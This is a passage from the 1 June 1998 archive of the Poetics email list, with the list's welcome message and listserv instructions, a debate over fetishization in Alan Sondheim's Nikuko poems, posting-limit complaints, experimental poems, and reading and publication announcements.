this 5per day rule has been in place for a long time. I think about a year, tho I cannot remember for sure. Many people on the list I think have encountered this rule when posting frequently to the list. But five times in a twenty-four hour period?? Granted, as Sylvester P. once wrote to me backchannel, many people like to read the list in "real-time" as it happens,and I feel a certain amount of interest in that as well. However, it seems to me that just as there could be a valuable conversation happening such as the reading of Alan's work going on here, I can ALSO imagine such an occurrence where someone might be let loose on the list in a violent, or verbally agressive manner. Obviously the reality is somewhere between these two. Certainly when people get so riled up that they have to be "censored" by waiting til after midnight to respond, they might be a few percentage points more likely to eventually require restraint by more than the email police. I think this contestedness is good for the list, and for poetry & poetics as well, but it may not be the best use of this forum, which combines interest in such "poetics" with the amenities of the new media, such as immediacy & virtuality. But that doesn't mean we need to maximize the possibilities offered by one at the expense of another. The need to shape the list by limiting posts to five a day is a decision based on the supposedly limited nature of this list. If you don't like it, as they say, combine your posts into single message. Sometimes it seems like everything would benefit if people would slow down and read each other with more consideration. Sometimes it seems like people end up arguing in public about "how I read you" and "how I read you reading you" - sorry, but this does not a poetics make

end of managerial rant. I'll be waiting out behind the barn if you want to duke it out.

I wanted to mention Nick's incredibly interesting post. I wanted to remark on that because it seems funny that a post about feedback should go without feedback, tho maybe I missed it. Also to add to his sense of getting feedback at a reading, as the work encounters an audience, it's audience or otherwise. Sometimes I feel treated as a listener to a sense of a reading as an event, one which the author has prepared a special statement to me as member of the community of listeners addressed. This may involve "reading new work" - a public redress of work considered (in the poetry lab) for some time. The worst readings are those where the author is "simply" performing a "set list." Of course one can read a statement of sorts into that, a relation to ones "readers" that may unveil some whole other bag of wax. As a poet I've never been fond of poetry readings, tho Nick's post makes me reconsider the prospect as I plan for a July reading here in Buffalo with Stephen Cope and Wendy Kramer. Part goodbye, part

unlock, part letter to Creeley (everything here it seems, even the lovely town of Buffalo, is a letter to R.C.) suddenly the interest to give a reading is a very exciting prospect.

Thanks to everyone who posted to me publicly or privately about electronic computer poetry softwares. I found several and will post my evaluation as I come to it. They all offer different things. Electric Poet is the best, I think, because it allows ENORMOUS text files as source text and spits out relatively syntactic language. The rest is all craft, no? Hammering out meaning and sense like the shield of Achilles, into, as Susan Howe wrote, "fragmentary narrative enclaves"

Here is something I wrote yesterday using a source text processed by Electric Poet:

Halfway across the doorway something terrible happened
Dorothy lived in the trap door, Dorothy lived in a corner
The sun had changed her, and gray as her horses were gray
as she screamed into the trap door into a cradle
He ran toward the child's accidents happen
She screamed the house broke the house broke the sheds
where the room came strange building
in a sharp whistling barking loudly
they heard the cyclone coming
the hours passed and gaunt the south winds met
to the far north carried miles in a cyclone cellar
the room contained a feather cookstove
a cupboard for the great pressure of the air

This is part of a long section of an ongoing project to affix private, coded meanings, into randomized samples of processed language. Everything here has a referential value, although there is no obvious set of correspondences. And as a "control" there also meaningful linguistic sequences of words and phrases that do not have any affixed, private meaning, but are provocative as langague crashing on itself in collage.

As a text, this section of Canto10-The Cyclone is a reading of the vocabulary of the first chapter of The Wizard of Oz. Rather, it "borrows" "steals" "begs" these words off the original, taking with them full resonsance of where they came from. It would be impossible to remove Dorothy, just as "balloon" from her source in the Baum book, or more likely, the 1939 film. By writing over the original, now lost in compuerania, the oz of the book becomes a fragmented contemporary allegorial meaning-generating device, not meaning "destructive" but seeking Kansas in lyric statement, hid out, buried from the wind and its caustic debris. Tack & tact.

↑ Index

6. Charles Bernstein
Poetics List Welcome Message
Mon 1 Jun 1998

Here is the Welcome Message, sent out at the beginning of every month for those who may have not have copies handy.

Joel and I are on the same timescale of reply today, I guess, as I was reminded to post the Welcome Message, as we do every month for those who may not have it handy. You can check out the automatic list options by looking at the header that comes when you request a list of subscribers using the "review" command, as explained below. The "daily threshold" is 50;5: 50 overall and 5 for any one subscriber. As of today, there are 627 subscribers. There have been a number of discussions on the list in the past about the reasons for setting these parameters in this way -- and they all took place in the environment of a significantly smaller list.

I want also to take this chance to thank Joel for his work in bounced message control and other list duties that keep this thing going. He does everything that the "fully automated system" can't handle, i.e. quite a lot --

---

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

Postal Address: 438 Clemens Hall, SUNY, Buffalo, NY 14260

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http://writing.upenn.edu/epc

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[This document was prepared by Charles Bernstein ([redacted]), Loss PequeñoGlazier ([redacted]), and Joel Kuszai ([redacted]).

Above the world-weary horizons

New obstacles for exchange arise

Or unfold, O ye postmasters!

1. About the Poetics List

The Poetics List was founded in late 1993 with the epigraph above.

There are presently over 600 subscribers.

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

individual posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible. **<color><param>ffff,0000,0000</param>We also encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear (see section 9 below).** (THIS MEANS *YOU*).

</color>

Please keep in mind that all posts go out immediately to all subscribers, and become part of an on-line archive. *<italic>Posting to Poetics is a form of publication, not personal communication</italic>.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the

very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!").

The "list owner" of Poetics is Charles Bernstein. Joel Kuszai is list manager. For subscription information contact us at
[redacted].

---

2. Subscriptions

Subscriptions to Poetics are free of charge. But we ask that you subscribe with your real name and we reserve the right to request additional information, including address and phone number. All subscription information you supply will remain confidential.

message, with no subject line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your

name to unsub)

We will be sent a notice of all subscription activity. Please allow several days for your new or re-subscription to take effect.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you may be able to substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your

system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, simply resubscribe to the list in the normal manner, once your account problem has been resolved.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address: [redacted]. Please note that it may take up to ten days, or more, for us to reply to messages.

---

3. Cautions

Please do not post to the list personal or backchannel correspondence, or other unpublished material, without the express permission of the author. Copyright for all material posted on Poetics remains with the author; material from this list and its archive may not be reproduced without the author's permission, beyond the standard rights accorded by "fair use".

The Poetics List has a 50 message daily limit. If more than 50 messages are received, the listserver will automatically hold those additional messages until the list is manually unlocked, usually the following day. While it is difficult to prescribe a set limit on the number of daily, weekly, or monthly posts for any subscriber, please keep this limit in mind. If you plan to respond to multiple threads, it is generally preferable to consolidate your reply into one message. While relevant excerpts from a post to which you are responding may usefully be appended to your reply, please do not include in your new post the whole text of a long previously posted message.

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you

requested, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Listserve program gives you he option to receive all the posted Poetics message each day as a single message. If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply

to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message to "[redacted]"

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics

archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to e-mail message blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

or try:

review POETICS by name

review POETICS by country

which will give you the list alphabetically by name or a flawed list by country (since all ".com" and ".net"s are counted as US)

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:

http://writing.upenn.edu/epc/poetics/archive

---

9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a

list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If yourword processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

7. Magdalena Zurawski
Re: Quo Vadis?
Mon 1 Jun 1998

Hi Nada!

Glad to have read your post. Although I'm not familiar with the poems you're talking about, I think you raise a really important issue concerning irony.

Recently I heard Bruce Andrews read and although I really enjoyed the work (its rhythms and contortions and general force) enough to tell him so after the reading, it was hard for me to see his use of words such as "pussy" as ironic and unproblematic.

At 08:08 AM 5/31/98 +0900, you wrote:
>as a teacher of nikukos
>
>and living always surrounded
>by fetishizations of japanese women's sexuality

>
>(on the street that leads to my school there are huge flourescent signs
>advertising anal licking by girls in sailor blouses and white cotton
>panties)
>
>i cannot say that i am a fan of alan's work
>
>although i appreciate its forms
>
>i find the poems exoticize most stereotypically
>Alan may be ironizing that
>
>but to me
>in my daily life
>as a woman teaching young women (and men) to speak
>and maneuver into adulthood
>the irony doesn't help me
>
>but confirms a certain rage or annoyance
>
>even when it is mixed with borrowings
>from profoundest tradition
>or cutting-edge cyberwords
>
>maybe it's different to read his nikuko poems
>from the outside
>
>but for me they're too close to home
>they make me uncomfortable
>
>even when i find them beautiful or skillful
>(which is often)
>
>that's why i don't comment
>for fear of being sour or prissy
>
>is there perhaps some dimension to the poems i'm just not *getting*?
>or it it rather that i get too much? they are not some distant metaphor
>but my xperienced world?
>
>-- nada "ume" gordon
>

>
>>i am a big fan of alan's work, and i used to rave and gush everytime he
>>posted a poem, either front or backchannel. i don't do it every time tho,
>>but i think he knows of my admiration. n'est-ce pas, alain?
>>
>>At 12:53 AM -0400 5/30/98, Tom Orange wrote:
>>>peter,
>>>
>>>yr post strikes a chord with me, as a long while back i voiced a similar
>>>observation on alan's work, which blips thru these screens quite regularly
>>>so as to become paradoxically commonplace and yet remain extraordinary
>>>each time. (there's a coupla books worth of his stuff sitting in the list
>>>archives, some of which chris alexander nicely brought out in chap form.)
>>>the lack of response is in part the nature of the beast(s), namely one,
>>>the volume of daily list traffic, and two, the kind of engagement that
>>>anything other than a superfluous response to his work demands.
>>>
>>>just last week someone posted a few poems by jeff clark, and having just
>>>finished that book i cast my line into the waters with a few tentative
>>>takes on the work, with nary a nibble in response.
>>>
>>>dont think people are disinclined to discuss new (or old!) work here, all
>>>depends on time/energy/will to engage i guess. surely one reason to stay
>>>tuned in is to keep up with all the work that's circulating out there...
>>>
>>>cheers,
>>>t.
>
>

↑ Index

8. Mark Prejsnar
Re: limits
Mon 1 Jun 1998

Actually, this is all very odd, I agree. I don't *believe* the "welcome" message we get frequently re-posted to us, which supposedly gives all the ground rules, mentions the 5-post limit. If I'm not mistaken, it gives quite a different impression..I've looked, because in fact I first hit the limit some months ago, so it has been operative (not just for me I presume) for quite some time....

I never asked the list-honchos or the list in general about it, figuring I was the only one stupid enuff not to have noticed the rule someplace...

Shouldn't the Welcome message (*if* I'm right) make mention of the limit??

M.

On Mon, 1 Jun 1998, sylvester pollet wrote:

> *That's the first I'd been aware of a five message per day limit. When was that instituted? I would much rather have the list members use moral suasion, boycotts, the delete, or whatever, to influence the cyberhogs. It seems to me that when there's a useful debate, such as that surrounding Alan Sondheim's work, it should be able to run its course. Run without hobbles.*
> *Bromige, I take your note of support for the limit to be ironic--that you are against it? (Careful, if you reply, that's one gone!)*
> *Jouissez sans entraves! Sylvester*

↑ Index

9. Charles Bernstein
Re: limits
Mon 1 Jun 1998

> *... I don't *believe* the "welcome" message we get frequently re-posted to us, which supposedly gives all the ground rules, mentions the 5-post limit.*

This information is provided in the list "header" which is available to list subscribers by request, most easily when you send the "review" command to the listserv address. However, I do agree that it is a good idea to include this also in the Welcome message and so I have added it for the future.

↑ Index

10. Christopher W. Alexander
12 tone Spicer versus dum da dum
Mon 1 Jun 1998

Hugh sez re "Composer Webern was Double Agent for Nazis":
> I have strong doubts about whether this happens to be true

no doubt yr skepticism is fully appropriate - but what a wonderful strategy for coping with the avant garde, eh? mebbe it won't be so long we'll find something like this in the Times:

"Florida State University Prof Establishes Poet's Link to Terrorists

Tallahassee - What would you think of an 'avant garde' poet whose work was actually useful for something? ridiculous, right? but that's just what Professor David "Genital" Kirby is proposing. "That's right," sez Professor Kirby, "I have

found incontrovertible evidence that American poet Jack Spicer's use of the 'serial form' can be linked directly to the need to pass information securely from the San Francisco bay area to Berlin." Professor Kirby's controversial paper, delivered before some 150 of his peers at the recent Florida State Conference of the Literary Arse [sic], proposes that Spicer's otherwise incomprehensible poetry was actually a complex code employed for trans-continental communication leading to terrorist activity in the U.S. and abroad. Kirby links Spicer to an openly homosexual splinter group of the Red Army Faction, headquartered in the famous Berlin leather bar Der Vesuvius. "While it's true I haven't read any of Spicer's work or his lectures or his biography, I'm absolutely convinced that my conclusions are correct. I think he even wrote a poem or something called 'Three Marxist Essays.'" Professor Kirby asserts that "it's particularly important to get the word out now, when a resurgence of interest in Spicer's outlandish work could only mean a coming resurgence of red terrorist activity." While several members of the audience had walked out by the end of his presentation, Kirby is not discouraged. "There has to be some explanation for Spicer's nonsensical verse, his bloated egotism," says Kirby, who describes his colleagues as "just jealous" that he has uncovered it.

end quotation and so on...

chris - O Evermore

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

11. Robert Kendall

Re: 12 tones for Anton's bones

Mon 1 Jun 1998

Tosh wrote:

> *As a hoax this is pretty funny! The reporters name is "Heinrich Kincaid," which strikes me funny. It is a good name. Too good! Plus the quote from*
> *John Adams ."Ever since I first encountered compositions by Arnold Schonberg I wondered what the hell anyone ever heard in it. .Now I know."*
> *That's funny. What was really funny is when the report commented that "Toru Takemitsu took time out from his own neo-romanticism to transmit data*
> *via music of his nation's progress with the atom." Since when did Japan*

> *have Atomic power? Plus the quote from Mr. Glass " that musicians*
> *continued to write twelve-tone music after the war, even though*
> *they had no*
> *idea why it was really invented.*
> *Indeed, there are guys who are churning out serialism to this day.*"

Not to mention the fact that Schoenberg developed the 12-tone system around 1920, after Hauer and others had already developed similar systems.

Robert Kendall
E-Mail: [redacted]
Home Page: http://www.wenet.net/~rkendall

On-Line Class in Hypertext Poetry and Fiction (The New School):
http://www.wenet.net/~rkendall/htclass.htm
Word Circuits (Resources for Hypertext/Cybertext Poetry and Fiction):
http://www.wenet.net/~rkendall/wordcircuits

↑ Index

12. Kenneth Goldsmith
F I D G E T : 3 E V E N T S
Mon 1 Jun 1998

The Whitney Museum of American Art
at Philip Morris presents

F I D G E T

a collaboration by
Kenneth Goldsmith + Theo Bleckmann

Tues 16 June | 8 PM | Free
Park Avenue @ 42nd St., New York City
Info: [redacted]

Accompanied by an electric bass + sewing machine, Theo Bleckmann performs a vocal-visual interpretation of Kenneth Goldsmith's new book, FIDGET, which records every movement Goldsmith made on June 16 (Bloomsday) last year. A frequent collaborator with Meredith Monk, Bleckmann produces an extraordinary array of intriguing vocal contrasts with his 3 1/2 octave range, pushing the boundaries between song

+ sound. With Skuli Sverrisson + John Hollenbeck.
This site-specific collaboration was commisssioned
by The Whitney Museum of American Art.

Printed Matter, Inc. presents

F I D G E T

Kenneth Goldsmith with Syndey Maresca
Sound Ambiance by Theo Bleckmann

11 June - 4 Sept
Opening Thurs 11 June | 6-8 PM
77 Wooster St., New York City
Info: [redacted]

An installation of thirteen paper men's suits printed
with the complete text of FIDGET. Suits constructed by
seamstress / costume designer Sydney Maresca.

Stadium Projects presents

F I D G E T

Kenneth Goldsmith with Clem Paulsen
Real Audio by Theo Bleckmann

Online: 16 June
http://www.stadiumweb.com
Info: [redacted]

An interactive java applet written by Clem Paulsen based
on Goldsmith's _Fidget_.

A book + CD of FIDGET is forthcoming this fall from
The Maryland Institute of Art.

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13. DANIEL L. COLLIER

Re: last call

Mon 1 Jun 1998

Alan,

Thanks to digest mode I'm always behind the list discussion, so I never posted my reaction to your Nikuko IRC post some weeks ago. I loved it.

It gave me an idea, though. Couldn't someone program a Nikuko generator that takes a given text (as Nikuko did in your post) into an IRC discussion, speaks bits of it & mixes those bits with what other people are saying? It's

been awhile, so I can't remember if you started doing this or if Nikuko just stuck to her text... but I remember that some of what the other IRC identities were putting out could've mixed interestingly with Nikuko. I also think Nik should've hung in there a bit longer; folks were just beginning to react.

Just an idea.

Keep posting your work.

Danny

[redacted]

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14. Rachel Levitsky
Re: Naropa Readings
Mon 1 Jun 1998

Hello Listlings--

I've missed you. Off I've been for a long time and oops! didn't turn the darn thing off so now a thousand to delete or read. I can't choose. So many interesting dxs. Two quick works. 1) about stammering stuttering--look for Laura Mullen's brilliant _Tales of the Horror_ from Kelsey Street in Fall, a manuscript length tale written in the language of stammer and; 2) Here Here for Patrick Pritchett and his reports. He makes life that much sweeter here in Naropa land.

tidings,
Rachel D. Levitsky

P.S. It's been a trip having Rachel B. (DuPlessis) here this week, we both keep turning every time the word "Rachel" is stuttered.

Mark Prejsnar wrote:
>
> On Fri, 19 Jun 1998, Safdie Joseph wrote:
>
> > I know there's been some pretty heady competition for this award on the
> > list in the past, but I hereby nominate Patrick Pritchett as electronic
> > poetry reviewer par excellence!
> >
>
> ...Indeed, a Steve Carll for our time!

↑ Index

15. Jordan Davis
2 books by Karen Van Dyck
Mon 1 Jun 1998

A notice by Maria Margaronis in the May 29 TLS for two new titles by Karen Van Dyck on contemporary Greek poetry:

Kassandra and the Censors: Greek Poetry since 1967, 305 pp., Ithaca, NY: Cornell U Press (prices given in sterling)

and

The Rehearsal of Misunderstanding: Three collections by conbtemporary Greek women poets: The Cake, by Rhea Galanaki; Tales of the Deep, by Jenny Mastoraki; Hers, by Maria Laina (Bilingual edition) 336 pp., Hanover NH: U Pres of New England / Wesleyan University Press (prices in sterling)

From the review:

"The junta passed a law demanding that book titles correspond exactly to their contents; a group of writers countered with a volume called simply 'Eighteen Texts'. The junta condemned American popular culture while opening the gates to foreign imports and the CIA; poets and songwriters exposed the Colonels' looking-glass logic in paeans salted with the names of consumer durables. By the 1970s, direct parody had given way to strategic playbacks of the regime's mixed messages, underlining the writers' inevitable complicity in the culture they inhabited while rejecting clarity as dangerous and tainted. In Greece, poetic difficulty emerged not as a literary fashion but as an urgent response to a pressing political situation."

Just thought to mention it --
Jordan

↑ Index

16. R. Gancie
patterns of discovery
Mon 1 Jun 1998

"The phrase "distinguishable object" has figured in the foregoing. Counting can be only of the discrete. We cannot count the drops in a beaker of alcohol unless we first introduce a convention as to what will be regarded as "a drop." This agreed, we must then find a way of separating out these drops from one another in an invariant and uniform way. Moreover, objects are distinguishable because we distinguish them. The world is not all cut up for us in advance, just waiting to be numbered; processes and events are not marked with dotted lines for ease in numerical tabulation. Counting is seldom undertaken just for its own

sake, or for verbal exercise. We count when we can make significant connections between the discernible entities we are counting. We enumerate, not anything and everything, but only that which our questions, hyptheses, and theories earmark as relevant. Counting, therefore, helps make our ideas precise-our ideas not only about the quantitative nature of things but also about the nature of counting itself. We come to know, implicitly at least, what can and what cannot be counted. This knowledge gets built into our questions about nature, so to speak...."---from Perception and Discovery: An Introduction to Scientific Inquiry by Norwood Russell Hanson---cp

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17. Jordan Davis
2/5
Mon 1 Jun 1998

---

while I'm at it, saw a documentary on Karadzic last night on PBS, at one point, the ex-poet is surveying Sarajevo from the hills, accompanied by a Russian poet, Limonov (?), they come to a sniper position, and Karadzic shows Limonov how to work the high-powered assault weapon, which Limonov fires into the city ..

where were we?
Jordan

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18. MAXINE CHERNOFF
Nice review and NAW #16
Mon 1 Jun 1998

Nice review in most recent Georgia Review by Fred Muratori of Rosmarie Waldrop, Paul Hoover, Amy Gerstler and others. Check it out.

NEW AMERICAN WRITING #16 is about to appear. Work by many list folks and related people: Michael Palmer, Barbara Guest, Loss Pequeno Glazier, Connie Deanovich, Aaron Shurin, Cole Swensen, Nathaniel Mackey, Rodrigo Toscano, Ricardo Cortez Cruz, Ray DiPalma, Clayton Eshleman, and many mjany others. Joe Brainard Cover. 250 pages. Our biggest issue yet! 8 bucks.

Reading for NAW at Small Press Traffic, New College, Friday, June 12. Participants are Barbara Guest, Aaron Shurin, Cydney Chadwick, Rodrigo Toscano, and Brandon Downing.

Best to all,

Maxine Chernoff

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19. Roger Farr
Re: submissions
Mon 1 Jun 1998

Hello,

I read your post on the Buffalo poetics list and thought I might make contact w/ you, and enquire about your call for chapbooks/submissions. I have a chapbook-length "experimental" poem I've been working on, called "Incomplete Catalog: Variations." Portions of it have appeared in a small-mag I co-produce here (Vancouver, BC) called "estrus".

Below is one "set" from the series. Each "set" is composed of 3 five-line "stanzas", which are variations of 10 words, linked by two alternating conjunctions or prepositions. The poem is partly informed by Gertrude Stein's theories of composition. Let me know if you'd like me to send you more via snail-mail.

Yours,

Roger Farr

INCOMPLETE CATALOG: VARIATIONS 6-9

semblance to living

color of theatre

object to odor

surface of scene

forenzic to detail

scene of semblance

odor to living

color of surface

forenzic to theatre

detail of object

living to surface

theatre of detail

scene to forenzic

color of odor

object to semblance

. . .

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20. Roger Farr
Re: submissions
Mon 1 Jun 1998

---

oops! re: submissions was supposed to go somewhere else! please ignore

RF

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21. Erik Sweet
Re: submissions
Mon 1 Jun 1998

I am confused. are you submitting to our magazine, "Tool a Magazine" if you are let me know because we are doing the first issue now, which includes such monument superheavies as, Charles Bernstein, Jordan Davis, Hoa Nguyen, Anselm Berrigan, Pierre Joris and much much more- oh well, if you were sending it elsewhere, ok

erik sweet
"Tool a Magazine"

↑ Index

22. Erik Sweet
sorry for the con(fusion)
Mon 1 Jun 1998

Somebody sent me a message saying they were submitting to "Tool a Magazine" but was also sent to Poetics Listy I am confused because many send their submissions email and well, they are still coming in for the first issue which is half prepared and i didn't know if it was for me- o swell

so if you sent somehting and I not hear yet, we are still reading... it was long last semester busters! the first issue which has amny poets and art work / drama will be printed in July

erik sweet

↑ Index

23. Christopher W. Alexander
Remarks on Alan's work (and stuff)
Mon 1 Jun 1998

¶ Congrats to dbkk on the Examiner article!!
Congrats also for making Lingua Franca, and

without the trouble and muss of abusing any
impressionable students.

¶ Anybody out there familiar with a French band
by the name of "Kat Onoma"? I happened to notice
a page just now that mentions their second album,
Stock Phrases, which apparently "is based upon the
works of the American poet Jack Spicer". !?

¶ It's great to see Alan's work being discussed and/or
argued here, I'm only sorry I didn't catch any of this over
the wkend when I would have had more time to digest it -
now I'm at work and comments have to be kept to a minim,
esp. as I've already 'wasted' some time today on poetix; not
to mention there's a 'net technical staff meeting going on right
outside my office, and the air is heavy with data and acronyms...

Alan knows how I feel about his wrtg - working with him to publish Jennifer has had a tremendous impact on my thinking and on my own wrtg, which I haven't bothered to conceal. I'm only now coming to really =understand= parts of his project (i.e., not just comprehend them intellectually); other parts remain wholly unfamiliar to me. if I haven't digested the work in its totality, that's only because it's composed of variable intensities none of which are fully *comprehended by the work itself, outward turnings and assemblings that destroy and incompletely destroy the work's integrity - to my reading, it's as a vase AND a handful of shards, and neither; all of which aspects I think are necessary. I don't think I can say more about this just now, other than to caution that I'm not using Modernist (and decidedly not postmodernist, at least in one of its aspects) terminology - i.e., not the same atotality (ha ha Webern) proposed at that time.

certainly there are aspects of the work that are disturbing in the extreme, yes even traumatic. "handful of shards". the project is dangerous - which is not just a way of excusing offensive material. it should be pretty obvious, however anyone feels about them, that the Nikuko poems aren't *synonymous with JAPANESE SCHOOLGIRL ALL-ANAL ACTION etc. etc. ad nauseum - though they obviously position themselves in relation to this and other fetishizing discourses. possibly we should remind ourselves that poetry can be an address (to problems and to persons), and not just a 'symptom'.

to my thinking, Alan's work takes up quite deliberately and with concern those aspects of it which most (ALL) of us find threatening - subjects or persons as fetishized, dissolved, partial, becoming -n. this runs in a continuum from the

negative/terrifying to the +/revolutionary; or, more than apt than a continuum, I'd say that any 'single point' in these poems - any statement or idea - positions itself in relation to these extremes and innumerable other points, without being reducible to any of them. to read the work or even any part of the work as 'just pornography' is to miss innumerable other intensities; to read it as wholly 'revolutionary' is equally a mistake. it's relation to the material is not *simply ironic, and I'm not sure that its mode isn't too complex even for the term "ironic".

e.g., the (necessary) departure from EGO as a false wholism manifests here in relation to technology as

EGO >>> machine
person overcome/destroyed by machine, person automated
and routinized; programmed (compliant), reified (made whole)

but that same departure, even at the same point manifests as

EGO >>> cyborg person as deconstr./assemblage with machine, person activated and transformative; revolutionary (noncompliant), transpersonal (composed of partial objects)

a similar, and possibly more troubling nexus occurs in relation to (mostly sexual) desire, between the exploded ego and/or body as fetishized/pacified AND/OR desiring/activated, where desire is understood (as unfortunately it so rarely is here) as a destructive force. The accusation can be (has been) levelled that Alan fetishizes women in his work prior even to the body of desire as it occurs there - I've always been bothered by this to the extent that it seems fully appropriate to say this of (we assume) a Man writing about Women, but not for instance of Acker's work in relation to 'her' gender or Burrough's in relation to 'his', as if the work doesn't announce itself anyway as trying to destroy 'natural' categories like MAN and WOMAN, that last safe binary, saving grace.

(I can't emphasize enough that the enforcement of Gender as binary is pervasive and accounts for the frightened neglect or misunderstanding of some really great, risky stuff out there - not to mention the painful, distorting effect it has on us as persons, trying to force our desire/experience into rigid gender criteria, even if we're "sophisticated" enough to parrot back the vocabulary of constructivism...

"William 's cuttin off his fingers so they'll fit into the glove".)

- anyway, I think that read is reductive in that it neglects Alan's (the poems') keen awareness of "Alan" as another figure constructed in/by his work - not author, not in control or variably in control, not whole. Alan is as much Jennifer as he is the Alan, I can see the Alan sometimes moving from Jennifer to Alan as Julu and so forth in its identifications - but trying I think, hardest of all NOT to identify or be identifiable.

okay, a much longer post than I intended but I'm not sorry. obviously I'm partial to Alan's work (ha Ha) but I don't mean to invalidate anyone's response - only to reiterate and broaden Joe's remark to read further (farther? not father).

chris - steeped in the lore of the old watusi

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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24. Chris McCreary

address query

Mon 1 Jun 1998

I'm looking for an e address for New York poet Greg Fuchs. A backchannel would be much appreciated...

Thanks--

Chris McCreary

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25. Loss Pequen~o Glazier

New at the EPC / New author pages

Mon 1 Jun 1998

I am pleased to announce new links & resources at the EPC:

Arras (connect)
Crayon mag home page
Frank Kuenstler 1928-1996
Reviews of Naropa Summer/Fall Readings 1997
Deluxe Rubber Chicken
Paul Celan (connect)

I want to also point out three splendid new author pages:

Jack Spicer (page by Chris Alexander)
Alice Notley (page by Mark Peters)
Bruce Andrews (page by Mark Peters)

These are musts to visit! (Also valuable for possible class use.) Thanks for a tremendous job to Chris and Mark! On the heels of our discussion some months back of single author issues of magazines, I think these pages stand

as exemplary tributes to these authors; and with a million transactions a year at the EPC, serve as a viable way to circulate some words to many folks. There are still opportunities for this kind of development (A current Author Page Call will be posted under separate cover.)
==========
As ever, the EPC is at
http://writing.upenn.edu/epc/
Click on "new" for links to these new pages.
==========

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26. Loss Pequen~o Glazier

EPC Author Page Call (June 1998)

